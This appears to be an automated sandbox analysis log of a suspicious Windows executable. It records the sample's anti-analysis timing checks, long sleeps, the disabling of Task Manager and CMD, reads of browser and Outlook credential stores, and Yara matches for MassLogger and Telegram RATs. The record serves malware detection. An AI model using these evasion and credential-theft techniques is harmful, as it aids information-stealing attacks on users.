Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	API/Special instruction interceptor: Address: 402FDF3
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	API/Special instruction interceptor: Address: 248FDF3

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	RDTSC instruction interceptor: First address: 3FF4E1A second address: 3FF4E1A instructions: 0x00000000 rdtsc 0x00000002 cmp dl, bl 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F44A4C23A98h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	RDTSC instruction interceptor: First address: 2454E1A second address: 2454E1A instructions: 0x00000000 rdtsc 0x00000002 cmp dl, bl 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F44A44F8418h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Memory allocated: 130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Memory allocated: 366D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Memory allocated: 386D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599870	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599196	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597317	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596856	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596618	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596465	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596139	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594281	Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Window / User API: threadDelayed 2756			Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Window / User API: threadDelayed 7092			Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

API coverage: 2.5 %

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 4448	Thread sleep count: 2756 > 30	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -599870s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 4448	Thread sleep count: 7092 > 30	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -599750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -599196s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -599093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597317s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596856s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596618s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596465s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596139s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe TID: 1164	Thread sleep time: -594281s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00402868 FindFirstFileW,	5_2_00402868
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_0040672B FindFirstFileW,FindClose,	5_2_0040672B
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405AFA

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599870	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599196	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597317	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596856	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596618	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596465	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596139	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Thread delayed: delay time: 594281	Jump to behavior

Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2960421938.000000000633D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	API call chain: ExitProcess graph end node			graph_0-4589
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	API call chain: ExitProcess graph end node			graph_0-4747

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: 0_2_701A1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_701A1B5F

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Process created: C:\Users\user\Desktop\xXUnP7uCBJ.exe "C:\Users\user\Desktop\xXUnP7uCBJ.exe"

Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Users\user\Desktop\xXUnP7uCBJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xXUnP7uCBJ.exe PID: 5856, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xXUnP7uCBJ.exe PID: 5856, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xXUnP7uCBJ.exe PID: 5856, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xXUnP7uCBJ.exe PID: 5856, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xXUnP7uCBJ.exe PID: 5856, type: MEMORYSTR

Mitre Att&ck Matrix

